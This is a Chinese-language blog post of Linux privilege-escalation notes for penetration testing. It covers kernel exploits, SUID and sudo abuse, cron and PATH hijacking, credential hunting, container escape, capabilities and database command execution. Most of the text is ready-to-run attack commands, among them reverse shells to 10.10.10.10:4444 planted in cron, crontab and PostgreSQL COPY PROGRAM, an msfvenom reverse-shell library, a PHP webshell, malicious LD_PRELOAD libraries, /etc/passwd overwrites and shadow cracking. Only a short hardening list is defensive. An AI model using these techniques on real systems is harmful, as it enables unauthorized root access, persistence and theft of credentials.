常见Linux权限提升笔记

弹不出的shell
4 阅读16分钟

常见Linux权限提升笔记

本文系统介绍Linux系统中常见的权限提升技术，包括检测方法和利用方式，适用于渗透测试和安全加固场景。

目录

1. 内核漏洞提权

💡 原理介绍

内核漏洞提权是利用Linux内核本身存在的安全漏洞，通过编译或运行针对特定内核版本的exploit代码，直接提升至root权限。常见的内核漏洞包括本地权限提升、条件竞争、缓冲区溢出等。

🔍 检测方法

# 获取内核版本信息
uname -a
uname -r
cat /proc/version
cat /etc/issue
cat /etc/*-release
​
# 查看系统架构
uname -m
​
# 使用自动化工具检测
# Linux Exploit Suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh
​
# linux-exploit-suggester-2
wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl
​
#综合脚本
https://github.com/peass-ng/PEASS-ng

⚔️ 常见内核漏洞

漏洞名称CVE编号影响版本描述
Dirty COWCVE-2016-51952.x - 4.8.3竞态条件导致的写时复制漏洞
Dirty PipeCVE-2022-08475.8 - 5.16.11管道缓冲区覆盖漏洞
PwnKitCVE-2021-4034pkexecpolkit的pkexec本地提权
Baron SameditCVE-2021-3156sudo < 1.9.5p2sudo堆溢出漏洞
DirtyCredCVE-2022-25885.8 - 5.19.x内核凭证覆盖漏洞

🎯 利用方式

Dirty COW示例：

# 下载exploit
wget https://github.com/firefart/dirtycow/raw/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
​
# 执行提权（会创建新的root用户firefart）
./dirty yourpassword
​
# 使用新密码登录
su firefart

PwnKit提权（CVE-2021-4034）：

# 下载exploit
git clone https://github.com/berdav/CVE-2021-4034
cd CVE-2021-4034
make
​
# 执行
./cve-2021-4034
# 获得root shell

⚠️ 注意事项

  • 内核exploit可能导致系统崩溃，生产环境慎用
  • 编译时需要gcc和内核头文件
  • 注意目标系统架构（x86/x64/ARM）匹配

2. SUID/SGID提权

💡 原理介绍

SUID（Set User ID）和SGID（Set Group ID）是Linux的特殊权限位。当一个可执行文件设置了SUID位，任何用户执行该文件时都会以文件所有者的权限运行。如果一个root拥有的程序设置了SUID位且存在安全问题，普通用户就可能利用它提权到root。

🔍 检测方法

# 查找所有SUID文件
find / -perm -u=s -type f 2>/dev/null
find / -perm -4000 -type f 2>/dev/null
​
# 查找SGID文件
find / -perm -g=s -type f 2>/dev/null
find / -perm -2000 -type f 2>/dev/null
​
# 查找既有SUID又有SGID的文件
find / -perm -6000 -type f 2>/dev/null
​
# 更详细的信息
find / -perm -u=s -type f -ls 2>/dev/null

⚔️ 常见可利用的SUID程序

1. find命令：

# 检查find是否有SUID
find /usr/bin/find -perm -4000
​
# 利用方式
find . -exec /bin/sh -p ; -quit
# 或
find . -exec /bin/bash -p ; -quit

2. vim/vi编辑器：

# 检查vim
find /usr/bin/vim* -perm -4000
​
# 利用方式
vim -c ':!sh'
# 或进入vim后执行
:set shell=/bin/sh
:shell

3. nmap（老版本 2.02-5.21）：

nmap --interactive
!sh
# 或
nmap --script=exploit.nse

4. bash：

# 如果bash有SUID
bash -p
# -p参数保持特权模式

5. cp命令：

# 利用cp覆盖/etc/passwd
# 生成密码哈希
openssl passwd -1 -salt hack password123
# 输出: $1$hack$xxxxxxxxxxxxx
​
# 创建恶意passwd文件
echo 'hacker:$1$hack$xxxxxxxxxxxxx:0:0:root:/root:/bin/bash' > /tmp/passwd
​
# 覆盖系统文件
cp /tmp/passwd /etc/passwd
​
# 登录
su hacker

6. python/perl/ruby：

# python
python -c 'import os; os.setuid(0); os.system("/bin/bash")'
​
# perl
perl -e 'exec "/bin/sh";'
​
# ruby
ruby -e 'exec "/bin/sh"'

7. less/more：

less /etc/passwd
# 在less中执行
!bash

8. tar：

tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

🎯 GTFOBins查询

访问 GTFOBins 查询更多SUID可利用程序的方法。

3. Sudo配置不当提权

💡 原理介绍

Sudo允许系统管理员授予普通用户执行特定命令的root权限。配置不当的sudo规则可能被滥用来提权，包括不安全的NOPASSWD配置、通配符使用、环境变量保留等。

🔍 检测方法

# 查看当前用户的sudo权限
sudo -l
​
# 示例输出：
# User www-data may run the following commands on webserver:
#     (ALL) NOPASSWD: /usr/bin/find
#     (root) /usr/bin/vim

⚔️ 常见利用场景

1. NOPASSWD配置：

# 如果sudo -l显示：
# (ALL) NOPASSWD: /usr/bin/find
​
# 利用方式
sudo find . -exec /bin/sh ; -quit

2. 通配符利用：

# 配置：(ALL) /bin/tar -czf /backup/*.tar.gz *
​
# 创建恶意文件名
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
echo "#!/bin/bash\ncp /bin/bash /tmp/rootbash\nchmod +s /tmp/rootbash" > shell.sh
​
# 执行
sudo /bin/tar -czf /backup/backup.tar.gz *
/tmp/rootbash -p

3. LD_PRELOAD环境变量：

# sudo -l显示：
# env_keep+=LD_PRELOAD
​
# 创建恶意共享库
cat > shell.c << EOF
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
​
void _init() {
    unsetenv("LD_PRELOAD");
    setuid(0);
    setgid(0);
    system("/bin/bash");
}
EOF
​
# 编译
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
​
# 利用
sudo LD_PRELOAD=/tmp/shell.so find

4. LD_LIBRARY_PATH劫持：

# 检查可sudo的程序依赖
ldd /usr/bin/program
​
# 创建恶意库替换
gcc -o library.so -shared -fPIC library.c
sudo LD_LIBRARY_PATH=/tmp program

5. Sudo版本漏洞（CVE-2019-14287）：

# 适用于 sudo < 1.8.28
# 配置：(ALL, !root) /usr/bin/vi
​
# 利用（使用用户ID -1绕过限制）
sudo -u#-1 /usr/bin/vi
# 在vi中执行
:!sh

🎯 sudo提权检查清单

  • 检查NOPASSWD配置
  • 查找通配符使用
  • 检查env_keep变量
  • 确认sudo版本
  • 查询GTFOBins中可sudo程序的利用方法

4. 计划任务提权

💡 原理介绍

Cron是Linux的定时任务调度系统。如果以root权限运行的计划任务脚本存在安全问题（如可写、通配符注入、PATH劫持），普通用户就可以通过修改脚本或相关文件来执行任意root命令。

🔍 检测方法

# 查看系统级cron任务
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.monthly/
ls -la /etc/cron.weekly/
​
# 查看用户级cron任务
crontab -l
cat /var/spool/cron/crontabs/*
​
# 查看systemd定时器
systemctl list-timers --all
​
# 查找可写的cron脚本
find /etc/cron* -type f -perm -o+w
​
# 监控进程（检测周期性执行的任务）
# 安装pspy
wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

⚔️ 利用方式

1. 可写的Cron脚本：

# 假设发现/etc/cron.d/backup.sh由root运行且可写
ls -la /etc/cron.d/backup.sh
# -rwxrwxrwx 1 root root ...
​
# 添加反向shell
echo 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' >> /etc/cron.d/backup.sh
​
# 或创建SUID bash
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /etc/cron.d/backup.sh
​
# 等待cron执行后
/tmp/rootbash -p

2. PATH环境变量劫持：

# /etc/crontab内容：
# * * * * * root /usr/local/bin/backup.sh
# PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
​
# 如果backup.sh中使用了相对路径命令，如：
# #!/bin/bash
# tar -czf /backup/backup.tar.gz /data
​
# 创建恶意tar
cat > /tmp/tar << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/tar
​
# 修改PATH（如果可以修改crontab）
# 或利用脚本中的其他弱点

3. 通配符注入：

# cron脚本内容：
# #!/bin/bash
# cd /home/user
# tar -czf /backup/backup.tar.gz *
​
# 利用tar的checkpoint参数
cd /home/user
echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
cat > shell.sh << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x shell.sh
​
# 等待cron执行

4. Cron覆盖写入：

# 如果/etc/crontab可写
echo '* * * * * root /bin/bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /etc/crontab

5. 环境变量劫持

💡 原理介绍

当程序在执行时使用相对路径调用其他命令，而没有指定完整路径时，系统会按照PATH环境变量的顺序查找可执行文件。攻击者可以通过修改PATH变量或在PATH靠前的目录中放置恶意程序来劫持命令执行。

🔍 检测方法

# 查看当前PATH
echo $PATH
​
# 检查SUID程序使用的命令
strings /usr/local/bin/suid_program | grep -E "^[a-z]+"
​
# 使用strace跟踪
strace -f -e execve /usr/local/bin/suid_program 2>&1 | grep exec
​
# 检查程序依赖
ldd /usr/local/bin/suid_program

⚔️ 利用方式

1. PATH劫持SUID程序：

# 假设发现SUID程序/usr/local/bin/service_start
# 它调用了systemctl但使用相对路径
​
# 创建恶意systemctl
cat > /tmp/systemctl << EOF
#!/bin/bash
cp /bin/bash /tmp/rootbash
chmod +s /tmp/rootbash
EOF
chmod +x /tmp/systemctl
​
# 修改PATH并执行
export PATH=/tmp:$PATH
/usr/local/bin/service_start
​
# 执行SUID bash
/tmp/rootbash -p

2. 共享库劫持：

# 检查程序使用的库
ldd /usr/local/bin/program
# linux-vdso.so.1
# libcustom.so => /usr/local/lib/libcustom.so
​
# 创建恶意库
cat > evil.c << EOF
#include <stdio.h>
#include <stdlib.h>
​
static void inject() __attribute__((constructor));
​
void inject() {
    setuid(0);
    system("/bin/bash -p");
}
EOF
​
gcc -shared -fPIC evil.c -o /tmp/libcustom.so
​
# 使用LD_PRELOAD或LD_LIBRARY_PATH
LD_PRELOAD=/tmp/libcustom.so /usr/local/bin/program

3. Python库劫持：

# 假设root运行的Python脚本：
# import custom_module
​
# 查找Python路径
python -c "import sys; print('\n'.join(sys.path))"
​
# 在靠前的路径创建恶意模块
cat > /tmp/custom_module.py << EOF
import os
os.system('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash')
EOF
​
# 修改PYTHONPATH
export PYTHONPATH=/tmp:$PYTHONPATH

6. 密码信息泄露

💡 原理介绍

在Linux系统中，密码和敏感信息可能以明文或可破解的形式存储在配置文件、历史记录、备份文件、数据库等位置。发现这些泄露的凭据可以直接用于横向移动或提权。

🔍 检测方法

# 1. 搜索配置文件
grep -r "password" /etc/ 2>/dev/null
grep -r "passwd" /etc/ 2>/dev/null
grep -ri "pwd" /etc/ 2>/dev/null
find /etc/ -name "*.conf" -exec grep -i "pass" {} ; 2>/dev/null
​
# 2. 搜索用户目录
grep -r "password" /home/ 2>/dev/null
grep -r "password" /root/ 2>/dev/null
find /home -name "*.txt" -o -name "*.xml" -o -name "*.ini" 2>/dev/null
​
# 3. 历史命令
cat ~/.bash_history
cat ~/.zsh_history
cat ~/.mysql_history
cat ~/.psql_history
cat ~/.*history
​
# 4. 数据库配置文件
cat /var/www/html/config.php
cat /var/www/html/wp-config.php
cat /var/www/html/configuration.php
find / -name "config.php" 2>/dev/null
find / -name "database.yml" 2>/dev/null
​
# 5. 备份文件
find / -name "*.bak" 2>/dev/null
find / -name "*backup*" 2>/dev/null
find / -name "*.old" 2>/dev/null
find / -name "*.save" 2>/dev/null
​
# 6. SSH密钥
find / -name "id_rsa" 2>/dev/null
find / -name "id_dsa" 2>/dev/null
find / -name "authorized_keys" 2>/dev/null
ls -la ~/.ssh/
​
# 7. 内存dump
strings /dev/mem | grep -i "password"
cat /proc/*/environ | tr '\0' '\n' | grep -i "pass"
​
# 8. 日志文件
grep -r "password" /var/log/ 2>/dev/null
​
# 9. Git仓库
find / -name ".git" 2>/dev/null
# 查看git历史中的敏感信息
​
# 10. 环境变量
env | grep -i "pass"
cat /proc/self/environ

⚔️ 利用方式

1. 发现数据库密码：

# 找到MySQL密码
cat /var/www/html/config.php
# $db_password = "SuperSecret123";
​
# 登录数据库
mysql -u root -p'SuperSecret123'
​
# 尝试用相同密码登录系统
su root
# 密码: SuperSecret123

2. SSH密钥利用：

# 发现root的私钥
find / -name "id_rsa" 2>/dev/null
# /home/user/.ssh/id_rsa
​
# 复制密钥
cp /home/user/.ssh/id_rsa /tmp/key
chmod 600 /tmp/key
​
# SSH登录
ssh -i /tmp/key root@localhost

3. 破解/etc/shadow：

# 如果有shadow文件读权限
cat /etc/shadow
​
# 提取哈希
grep root /etc/shadow > /tmp/hash
​
# 使用John the Ripper破解
john --wordlist=/usr/share/wordlists/rockyou.txt /tmp/hash
​
# 或使用hashcat
hashcat -m 1800 /tmp/hash /usr/share/wordlists/rockyou.txt

4. 重用找到的密码：

# 尝试su到其他用户
su - admin
su - root
su - mysql
​
# 尝试sudo
sudo -i

7. 容器逃逸

💡 原理介绍

容器逃逸是指从Docker、LXC、LXD等容器环境中突破隔离限制，获取宿主机的控制权。常见原因包括：特权容器、不安全的挂载、内核漏洞、Docker Socket暴露等。

🔍 检测方法

# 检查是否在容器中
cat /proc/1/cgroup | grep -i "docker|lxc"
ls -la /.dockerenv
cat /proc/self/mountinfo | grep docker
​
# 检查容器权限
capsh --print
cat /proc/self/status | grep Cap
​
# 检查挂载点
mount | grep -i "docker|lxc"
df -h
​
# 检查Docker socket
ls -la /var/run/docker.sock
​
# 检查是否为特权容器
grep -i "privileged" /proc/self/status
ip link add dummy0 type dummy 2>/dev/null && echo "Privileged" || echo "Unprivileged"

⚔️ Docker逃逸方法

1. 特权容器 + /dev挂载：

# 检查是否为特权容器
fdisk -l
# 如果能看到宿主机磁盘设备，则为特权容器
​
# 挂载宿主机文件系统
mkdir /mnt/host
mount /dev/sda1 /mnt/host
​
# 写入SSH密钥
mkdir /mnt/host/root/.ssh
cat /root/.ssh/id_rsa.pub >> /mnt/host/root/.ssh/authorized_keys
​
# 或修改cron
echo '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' >> /mnt/host/etc/crontab
​
# 或替换passwd
cat /mnt/host/etc/passwd

2. Docker Socket暴露：

# 检查docker.sock
ls -la /var/run/docker.sock
​
# 使用docker命令（如果有）
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
​
# 或使用curl操作Docker API
curl -XPOST --unix-socket /var/run/docker.sock -d '{"Image":"alpine","Cmd":["/bin/sh"],"Binds":["/:/mnt"]}' -H 'Content-Type: application/json' http://localhost/containers/create
​
# 启动容器
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/CONTAINER_ID/start

3. CVE-2019-5736 (runc逃逸)：

# 下载exploit
git clone https://github.com/Frichetten/CVE-2019-5736-PoC
cd CVE-2019-5736-PoC
​
# 编译
go build main.go
​
# 在容器内执行
./main
​
# 从宿主机执行docker exec触发
docker exec <container> /bin/bash

⚔️ LXD/LXC逃逸方法

LXD组成员提权：

# 检查是否在lxd组
id
groups
​
# 方法1: 使用Alpine镜像
# 在攻击机上构建镜像
git clone https://github.com/saghul/lxd-alpine-builder
cd lxd-alpine-builder
./build-alpine
​
# 传输到目标机器
python3 -m http.server 8000
​
# 在目标机器上
wget http://attacker:8000/alpine-v3.13-x86_64-20210218_0139.tar.gz
​
# 导入镜像
lxc image import ./alpine-v3.13-x86_64-20210218_0139.tar.gz --alias myimage
​
# 创建特权容器
lxc init myimage ignite -c security.privileged=true
​
# 挂载宿主机根目录
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
​
# 启动容器
lxc start ignite
​
# 进入容器
lxc exec ignite /bin/sh
​
# 访问宿主机文件
cd /mnt/root

8. Capabilities提权

💡 原理介绍

Linux Capabilities将root权限细分为多个独立的能力单元，允许给普通程序赋予特定的特权能力而不需要完整的root权限。如果某些危险的capabilities被不当分配，可能导致提权。

🔍 检测方法

# 查找所有具有capabilities的文件
getcap -r / 2>/dev/null
​
# 常见输出示例：
# /usr/bin/python3.8 = cap_setuid+ep
# /usr/bin/ping = cap_net_raw+ep
# /usr/bin/vim = cap_dac_override+ep
​
# 查看当前进程的capabilities
cat /proc/self/status | grep Cap
capsh --print

⚔️ 危险的Capabilities

Capability描述提权方式
cap_setuid允许设置进程UID直接setuid(0)获取root
cap_dac_override绕过文件读写执行权限检查读写任意文件
cap_dac_read_search绕过文件读和目录读权限读取敏感文件
cap_sys_admin多种管理权限挂载文件系统等
cap_sys_ptrace允许跟踪任意进程注入root进程
cap_sys_module加载内核模块加载恶意内核模块

⚔️ 利用方式

1. cap_setuid (Python示例)：

# 检查
getcap /usr/bin/python3.8
# /usr/bin/python3.8 = cap_setuid+ep
​
# 利用
/usr/bin/python3.8 -c 'import os; os.setuid(0); os.system("/bin/bash")'

2. cap_setuid (Perl示例)：

getcap /usr/bin/perl
# /usr/bin/perl = cap_setuid+ep
​
/usr/bin/perl -e 'use POSIX; POSIX::setuid(0); exec "/bin/bash";'

3. cap_dac_override (vim/vi示例)：

getcap /usr/bin/vim
# /usr/bin/vim = cap_dac_override+ep
​
# 可以编辑任意文件，包括/etc/passwd, /etc/shadow
vim /etc/passwd
# 添加用户：hacker:x:0:0:root:/root:/bin/bash
​
vim /etc/shadow
# 添加密码哈希

4. cap_dac_read_search (tar示例)：

getcap /usr/bin/tar
# /usr/bin/tar = cap_dac_read_search+ep
​
# 读取任意文件
tar -czf /tmp/shadow.tar.gz /etc/shadow
tar -xzf /tmp/shadow.tar.gz
cat etc/shadow

5. cap_sys_admin (Python示例)：

# 挂载宿主机根目录（容器环境）
python3 -c '
import os
os.system("mkdir /mnt/host")
os.system("mount /dev/sda1 /mnt/host")
'

6. cap_sys_ptrace：

# 注入到root进程
# 编写shellcode注入工具
gcc -o inject inject.c
./inject <root_process_pid>

9. 数据库高权限提权

💡 原理介绍

当获取到数据库的高权限账户（如MySQL的root、PostgreSQL的postgres），可以利用数据库的特性执行系统命令或写入文件，进而提升Linux系统权限。

🔍 检测方法

# 查找数据库配置文件
find / -name "config.php" -o -name "wp-config.php" -o -name "database.yml" 2>/dev/null
​
# 检查数据库服务
ps aux | grep -i "mysql|postgres|mariadb"
netstat -tlnp | grep -i "3306|5432"
​
# 尝试免密登录
mysql -u root
psql -U postgres

⚔️ MySQL提权方法

1. UDF（User Defined Function）提权：

# 登录MySQL
mysql -u root -p
​
# 检查plugin目录
show variables like '%plugin%';
# plugin_dir: /usr/lib/mysql/plugin/
​
# 检查secure_file_priv（必须为空或包含plugin目录）
show variables like '%secure_file_priv%';
​
# 使用MSF生成UDF库
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf-so -o udf.so
​
# 或使用预编译的lib_mysqludf_sys
wget https://github.com/mysqludf/lib_mysqludf_sys/releases/download/lib_mysqludf_sys-1.0.0/lib_mysqludf_sys.so
​
# 在MySQL中创建函数
use mysql;
create table foo(line blob);
insert into foo values(load_file('/tmp/udf.so'));
select * from foo into dumpfile '/usr/lib/mysql/plugin/udf.so';
​
# 创建执行系统命令的函数
create function sys_exec returns integer soname 'udf.so';
​
# 执行命令
select sys_exec('cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash');

2. INTO OUTFILE写Webshell：

-- 检查写入权限
show variables like '%secure_file_priv%';
​
-- 写入Webshell
select '<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/shell.php';
​
-- 访问
-- http://target/shell.php?cmd=whoami

3. 写入SSH密钥：

-- 读取公钥
select load_file('/home/attacker/.ssh/id_rsa.pub');
​
-- 写入authorized_keys
select 'ssh-rsa AAAAB3...' into outfile '/root/.ssh/authorized_keys';

4. 写入Cron任务：

select '* * * * * root bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"' into outfile '/etc/cron.d/evil';

⚔️ PostgreSQL提权方法

1. COPY TO/FROM PROGRAM（9.3+）：

-- 需要superuser权限
-- 执行系统命令
DROP TABLE IF EXISTS cmd_exec;
CREATE TABLE cmd_exec(cmd_output text);
​
-- 写入SUID bash
COPY cmd_exec FROM PROGRAM 'cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash';
​
-- 反向shell
COPY cmd_exec FROM PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';

2. Large Objects写文件：

-- 创建Large Object
SELECT lo_creat(-1);
-- 返回OID: 12345
​
-- 写入数据
SELECT lo_put(12345, 0, decode('3c3f7068...', 'hex'));
​
-- 导出文件
\lo_export 12345 '/var/www/html/shell.php'

3. CVE-2019-9193（PostgreSQL 9.3-11.2）：

-- COPY TO/FROM PROGRAM提权
COPY (SELECT '') TO PROGRAM 'bash -c "bash -i >& /dev/tcp/10.10.10.10/4444 0>&1"';

⚔️ MongoDB提权

1. NoSQL注入后命令执行：

// 如果有eval权限
db.eval('os.execute("cp /bin/bash /tmp/rootbash && chmod +s /tmp/rootbash")');
​
// 或写文件
db.eval('os.execute("echo attacker_ssh_key >> /root/.ssh/authorized_keys")');

10. 提权工具集

🔧 自动化枚举工具

LinPEAS（推荐）：

# 下载
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh
chmod +x linpeas.sh
​
# 执行
./linpeas.sh
​
# 输出到文件
./linpeas.sh -a > /tmp/linpeas_output.txt
​
# 快速模式
./linpeas.sh -s

LinEnum：

wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
chmod +x LinEnum.sh
./LinEnum.sh -t

Linux Smart Enumeration (lse.sh)：

wget https://github.com/diego-treitos/linux-smart-enumeration/releases/latest/download/lse.sh
chmod +x lse.sh
​
# 0级（快速）
./lse.sh -l 0
​
# 2级（详细）
./lse.sh -l 2

Unix-Privesc-Check：

wget https://raw.githubusercontent.com/pentestmonkey/unix-privesc-check/master/unix-privesc-check
chmod +x unix-privesc-check
./unix-privesc-check standard

🔧 漏洞利用建议工具

Linux Exploit Suggester：

wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh
chmod +x linux-exploit-suggester.sh
./linux-exploit-suggester.sh

linux-exploit-suggester-2：

wget https://raw.githubusercontent.com/jondonas/linux-exploit-suggester-2/master/linux-exploit-suggester-2.pl
perl linux-exploit-suggester-2.pl

🔧 专项工具

pspy - 进程监控：

wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.1/pspy64
chmod +x pspy64
./pspy64

GTFOBins - SUID/Sudo/Capabilities查询：

  • 网站: gtfobins.github.io/
  • 离线版: git clone https://github.com/GTFOBins/GTFOBins.github.io.git

PayloadsAllTheThings：

git clone https://github.com/swisskyrepo/PayloadsAllTheThings
cd PayloadsAllTheThings/Methodology\ and\ Resources/Linux\ -\ Privilege\ Escalation/

🔧 传输文件方法

# 在攻击机启动HTTP服务器
python3 -m http.server 8000
python2 -m SimpleHTTPServer 8000
​
# 在目标机下载
wget http://attacker:8000/linpeas.sh
curl http://attacker:8000/linpeas.sh -o linpeas.sh
​
# 无wget/curl时
bash -c 'exec 3<>/dev/tcp/attacker/8000; echo -e "GET /linpeas.sh HTTP/1.1\r\nHost: attacker\r\n\r\n" >&3; cat <&3' > linpeas.sh
​
# 使用nc
# 攻击机
nc -lvnp 4444 < linpeas.sh
# 目标机
nc attacker 4444 > linpeas.sh

📝 提权检查清单

在获取到普通用户shell后，按以下顺序进行检查：

  • 信息收集

    • 系统信息：uname -a, cat /etc/issue
    • 用户信息：id, whoami, groups
    • 网络信息：ifconfig, netstat -tlnp
    • 进程信息：ps aux

  • 快速检查

    • sudo -l - 检查sudo权限
    • find / -perm -4000 2>/dev/null - SUID文件
    • getcap -r / 2>/dev/null - Capabilities
    • cat /etc/crontab - 计划任务

  • 深度枚举

    • 运行LinPEAS或LinEnum
    • 检查内核版本和已知漏洞
    • 搜索配置文件中的密码
    • 检查历史命令

  • 特定场景

    • 检查是否在容器中
    • 检查数据库权限
    • 检查可写的服务文件
    • 检查NFS挂载

🛡️ 防御建议

系统加固：

  1. 及时更新系统补丁，修复内核漏洞
  2. 最小化SUID程序，移除不必要的SUID位
  3. 严格配置sudo规则，避免NOPASSWD和通配符
  4. 使用AppArmor/SELinux强制访问控制
  5. 限制Capabilities的使用范围

监控检测：

  1. 监控SUID文件变化
  2. 审计sudo使用记录
  3. 监控异常进程和网络连接
  4. 检查定时任务变化
  5. 监控容器逃逸行为

最佳实践：

  1. 使用密钥认证而非密码
  2. 定期审计系统权限配置
  3. 限制数据库用户权限
  4. 配置合理的文件权限
  5. 使用容器安全加固工具

📚 参考资源

🎯 总结

Linux提权是渗透测试中的关键环节，需要：

  1. 系统化思维：按清单逐项检查，不遗漏任何可能性
  2. 工具辅助：熟练使用LinPEAS等自动化工具提高效率
  3. 手工验证：不完全依赖工具，理解原理并手工验证
  4. 持续学习：跟进最新漏洞和利用技术
  5. 实战演练：在VulnHub、HackTheBox等平台大量练习

记住：提权的本质是利用系统的配置缺陷或漏洞，获取更高权限。理解原理比记住命令更重要。

本文仅供安全研究和授权测试使用，严禁用于非法用途

avatar
文章
阅读
粉丝